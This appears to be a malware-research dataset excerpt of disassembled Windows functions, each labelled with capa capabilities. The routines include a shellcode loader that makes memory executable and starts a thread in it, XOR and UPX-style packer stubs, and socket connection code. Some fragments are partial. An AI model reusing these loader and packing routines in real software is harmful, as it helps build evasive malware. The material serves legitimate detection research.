joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401770
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov dword [ebp - 0x114], str.55222
mov eax, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x11c], eax
push 0x104
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, dword [ebp - 0x114]
push edx
lea eax, [ebp - 0x110]
push eax
call dword [ebp - 0x11c]
push 0
push 0x80
push 3
push 0
push 3
push 1
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xffffffff
je 0x4017ea
cmp dword [ebp - 0x118], 0
je 0x4017ea
jmp 0x40184c
mov edx, dword [ebp + 8]
cmp dword [edx + 4], 0
je 0x40184c
mov dword [ebp - 0x120], 0x514337
mov eax, dword [ebp + 8]
add eax, 8
mov dword [0x4380b4], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
mov dword [0x4380d0], edx
mov dword [ebp - 0x120], 0x514337
mov dword [ebp - 0x120], 0x514337
call fcn.004011e0
mov eax, dword [ebp + 8]
mov dword [0x4380cc], eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 1
call fcn.00401af0
add esp, 0xc
mov dword [ebp + 8], eax
jmp 0x4017ea
mov esp, ebp
pop ebp
ret

Function at 0x401850
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x19c
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
test eax, eax
je 0x40186c
xor eax, eax
jmp 0x40194d
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
test eax, eax
jne 0x401884
xor eax, eax
jmp 0x40194d
push ebp
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
add eax, 0x514337
call fcn.00401320
mov esp, ebp
pop ebp
ret

Function at 0x401b30
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [0x4380c0], 0x24e1
mov eax, dword [0x4380c0]
sub eax, 0x24e1
mov dword [0x4380c0], eax
mov ecx, 1
test ecx, ecx
je 0x401bdb
mov edx, dword [0x4380c0]
cmp edx, dword [ebp + 0xc]
jb 0x401b67
jmp 0x401bdb
cmp dword [0x4380c0], 0
jne 0x401b85
push 0x263
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
test eax, eax
je 0x401b85
xor eax, eax
jmp 0x401bdb
mov eax, dword [ebp + 8]
add eax, dword [0x4380c0]
mov ecx, dword [eax]
add ecx, dword [0x4380c0]
mov edx, dword [ebp + 8]
add edx, dword [0x4380c0]
mov dword [edx], ecx
mov dword [ebp - 4], 0xdb752
mov eax, dword [0x4380c0]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax + 2]
push edx
mov eax, dword [ebp + 8]
add eax, dword [0x4380c0]
push eax
jmp section..htext
mov esp, ebp
pop ebp
ret
Function at 0x401007
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [eax]
mov eax, dword [eax + 4]
xor esi, esi
cmp dword [0x2b7ab04], 0x594
mov dword [ebp - 8], eax
jne 0x40103b
push esi
lea eax, [ebp - 0x438]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [0x4a2078]
mov ebx, dword [0x4a207c]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], esi
call fcn.00401000
mov eax, dword [0x4a2080]
add dword [ebp - 0x18], 0x23f
mov dword [ebp - 0x2c], eax
mov eax, dword [0x4a2084]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], 0x20
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, edi
shl eax, 4
cmp dword [0x2b7ab04], 0xc
mov dword [ebp - 4], eax
jne 0x4010b2
push esi
lea eax, [ebp - 0x438]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
push esi
lea eax, [ebp - 0x34]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov eax, dword [0x2b7ab04]
cmp eax, 0xfa9
jne 0x4010ce
mov dword [0x2b7ab00], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010ed
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push esi
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov dword [0x2b7a4b4], esi
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov edx, edi
add eax, edi
shr edx, cl
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
mov dword [0x2b7aafc], 0xf4ea3dee
add edx, dword [ebp - 0x28]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
xor dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
xor edx, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
mov eax, dword [ebp - 8]
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x30]
add dword [ebp - 4], eax
mov dword [ebp - 0x10], esi
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
nop
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
shr edx, cl
add edx, ebx
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor dword [ebp - 4], edx
sub edi, dword [ebp - 4]
add dword [ebp - 0x18], 0x61c88647
dec dword [ebp - 0x24]
jne 0x401072
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 8]
mov dword [eax], edi
pop edi
pop esi
mov dword [eax + 4], ecx
pop ebx
leave
ret 4
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408ecc
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x49c45d35
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
je 0x4300d2
nop
nop
nop
nop
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x41071d72
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x404420
Capabilities:
Terminate process

Disassembly:
jmp 0x42333a
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x42334b
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00401d60
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x405fe0
Capabilities:
Parse pe header

Disassembly:
jmp 0x41706c
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4170ac
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4170ac
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4170ac
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4170ac
cmp dword [ecx + 0x74], 0xe
jbe 0x4170ac
cmp dword [ecx + 0xe8], 0
je 0x4170ac
mov al, 1
ret
xor al, al
ret

Function at 0x4078a0
Capabilities:
Query environment variable

Disassembly:
jmp 0x447fb1
mov edi, edi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x447fc5
xor edi, edi
jmp 0x447ffc
push ebx
push esi
call fcn.00447ebb
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00405040
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x447fec
push ebx
push esi
push edi
call fcn.00407b70
add esp, 0xc
push 0
call fcn.00401fb0
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
pop ebx
mov eax, edi
pop edi
pop esi
ret

Function at 0x44d247
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0044b913
add esp, 0xc
mov dword [ebp - 0x704], eax
and byte [ebp - 0x6f4], 0
invalid
movsd dword es:[edi], dword [esi]
invalid
stc
Function at 0x402950
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 2
push 0
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov esp, ebp
pop ebp
ret 4

Function at 0x4029b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 2
push 0
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov esp, ebp
pop ebp
ret 4

Function at 0x409950
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x1c]
push ecx
mov edx, dword [ebp - 4]
add edx, 0xc
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x409986
mov dword [ebp - 8], 1
jmp 0x40998d
mov dword [ebp - 8], 0
mov al, byte [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x409ab0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 4]
call fcn.00409910
mov eax, dword [ebp - 4]
mov byte [eax + 8], 1
push 0x10
push 0
mov ecx, dword [ebp - 4]
add ecx, 0xc
push ecx
call fcn.0042a780
add esp, 0xc
mov edx, dword [ebp - 4]
mov dword [edx + 0x1c], 0x10
movzx eax, word [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [ebp - 4]
mov word [ecx + 0xe], ax
mov edx, dword [ebp - 4]
mov ax, word [ebp + 0x10]
mov word [edx + 0xc], ax
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
cmp dword [ebp + 8], 0
je 0x409b81
mov edx, dword [ebp + 8]
push edx
call fcn.00430960
add esp, 4
test eax, eax
jbe 0x409b81
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], eax
mov edx, dword [ebp - 4]
cmp dword [edx + 0x10], 0xffffffff
je 0x409b3d
jmp 0x409b81
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x409b81
mov ecx, dword [ebp - 8]
movsx edx, word [ecx + 0xa]
push edx
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + ecx]
push ecx
mov edx, dword [ebp - 4]
add edx, 0x10
push edx
call fcn.00429c80
add esp, 0xc
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov dword [ebp - 0x10], ecx
push 0
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [ebp - 4]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 4]
cmp dword [edx + 4], 0xffffffff
je 0x409ba9
mov dword [ebp - 0xc], 1
jmp 0x409bb0
mov dword [ebp - 0xc], 0
mov al, byte [ebp - 0xc]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40b4e0
Capabilities:
Get routing table

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.IPHLPAPI.DLL_GetIpForwardTable
cmp eax, 0x7a
jne 0x40b540
mov eax, dword [ebp - 8]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call sub.IPHLPAPI.DLL_GetIpForwardTable
test eax, eax
jne 0x40b536
mov eax, dword [ebp - 4]
jmp 0x40b542
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x40c9f0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], ecx
push 4
lea eax, [ebp + 8]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40ca26
mov dword [ebp - 4], 1
jmp 0x40ca2d
mov dword [ebp - 4], 0
mov al, byte [ebp - 4]
mov esp, ebp
pop ebp
ret 0xc

Function at 0x40d370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40d394
xor eax, eax
jmp 0x40d414
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40d3ab
xor eax, eax
jmp 0x40d414
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 0x10]
and eax, 0xf
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jbe 0x40d3f7
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jae 0x40d3f7
mov edx, dword [ebp - 4]
movzx eax, word [edx]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
jmp 0x40d3ce
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jb 0x40d403
xor eax, eax
jmp 0x40d414
mov edx, dword [ebp - 4]
movzx eax, word [edx]
test eax, eax
jne 0x40d411
xor eax, eax
jmp 0x40d414
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x414ca8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x4359a8
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00435827

Function at 0x439e3d
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004397ab
Function at 0x439e48
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004399e6

Function at 0x419760
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40f015
lea edi, [esi - 0xe015]
push edi
or ebp, 0xffffffff
jmp 0x419782
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419789
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419778
mov eax, 1
add ebx, ebx
jne 0x41979b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419790
jne 0x4197ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419790
xor ecx, ecx
sub eax, 3
jb 0x4197c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419832
mov ebp, eax
add ebx, ebx
jne 0x4197cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4197d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4197fc
inc ecx
add ebx, ebx
jne 0x4197e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4197dd
jne 0x4197f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4197dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41981c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41980d
jmp 0x41977e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41981c
add edi, ecx
jmp 0x41977e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41983a
cmp byte [edi], 5
jne 0x41983a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41983f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x4198b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1908c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41986c
mov ecx, edi
jns 0x41989b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19090]
or eax, eax
je 0x4198b1
mov dword [ebx], eax
add ebx, 4
jmp 0x419889
call dword [esi + 0x190a0]
mov ebp, dword [esi + 0x19094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4198eb
sub esp, 0xffffff80
jmp 0x404c20
Function at 0x4010b0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
xor eax, eax
push esi
mov esi, ecx
push edi
mov ecx, 0x1369e
lea edi, [esi + 0x10]
mov dword [esi], 0x4042c0
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
mov dword [esi + 0x4da8c], edi
mov dword [esi + 4], edi
mov dword [esi + 8], 0xffffffff
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret

Function at 0x4011d0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Print debug messages
Spawn thread to rwx shellcode

Disassembly:
mov al, byte [0x4053f0]
sub esp, 0xc
test al, 1
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
mov ebx, ecx
jne 0x4011f5
or al, 1
mov byte [0x4053f0], al
call esi
mov dword [0x4053ec], eax
cmp dword [0x4053fc], 8
jle 0x401233
mov dword [0x4053fc], 0
call esi
mov edx, dword [0x4053ec]
mov ecx, eax
sub ecx, edx
mov dword [0x4053ec], eax
mov dword [esp + 0xc], ecx
fild dword [esp + 0xc]
fmul dword [0x4042c8]
fdivr dword [0x4042c4]
fstp dword [0x4053e8]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.worinimahuorong
call edi
push 0x4da78
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x401261
pop edi
pop esi
pop ebx
add esp, 0xc
ret
mov edx, dword [0x405030]
add ebx, 0x4da90
push edx
push ebx
push esi
call fcn.00401160
add esp, 0xc
push str.worinimahuorong1
call edi
push str.VirtualProtect
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x14]
push ecx
push 0x40
push 0x4da78
push esi
call eax
lea edx, [esp + 0x10]
push edx
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0
push esi
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0xc
ret
Function at 0x401310
Capabilities:
Create thread
Link many functions at runtime
Resolve dns

Disassembly:
mov eax, dword [0x4053f4]
sub esp, 0x10
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push str.socket
mov edi, ecx
push eax
call esi
push 6
push 1
push 2
call eax
cmp eax, 0xffffffff
mov dword [edi + 8], eax
jne 0x401344
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret 8
push ebx
push ebp
mov ecx, dword [0x4053f4]
push str.htons
push ecx
call esi
mov edx, dword [esp + 0x24]
mov ebx, eax
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebp, eax
mov eax, dword [esp + 0x28]
push eax
mov word [esp + 0x14], 2
call ebx
mov word [esp + 0x12], ax
mov ecx, dword [ebp + 0xc]
push str.connect
mov edx, dword [ecx]
mov ecx, dword [0x4053f4]
push ecx
mov eax, dword [edx]
mov dword [esp + 0x1c], eax
call esi
mov ecx, dword [edi + 8]
lea edx, [esp + 0x10]
push 0x10
push edx
push ecx
call eax
cmp eax, 0xffffffff
jne 0x4013db
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.ResetEvent
push str.KERNEL32.dll
call ebx
push eax
call esi
mov edx, dword [edi + 0xc]
push edx
call eax
push str.WaitForSingleObject
push str.KERNEL32.dll
call ebx
push eax
call esi
mov ecx, dword [edi + 0xc]
push 0x3e8
push ecx
call eax
jmp 0x401346
push 0
push 0
push edi
push 0x401400
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret 8
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
mov ecx, 0x5ef02ff0
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
mov ecx, 0x707b0405
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219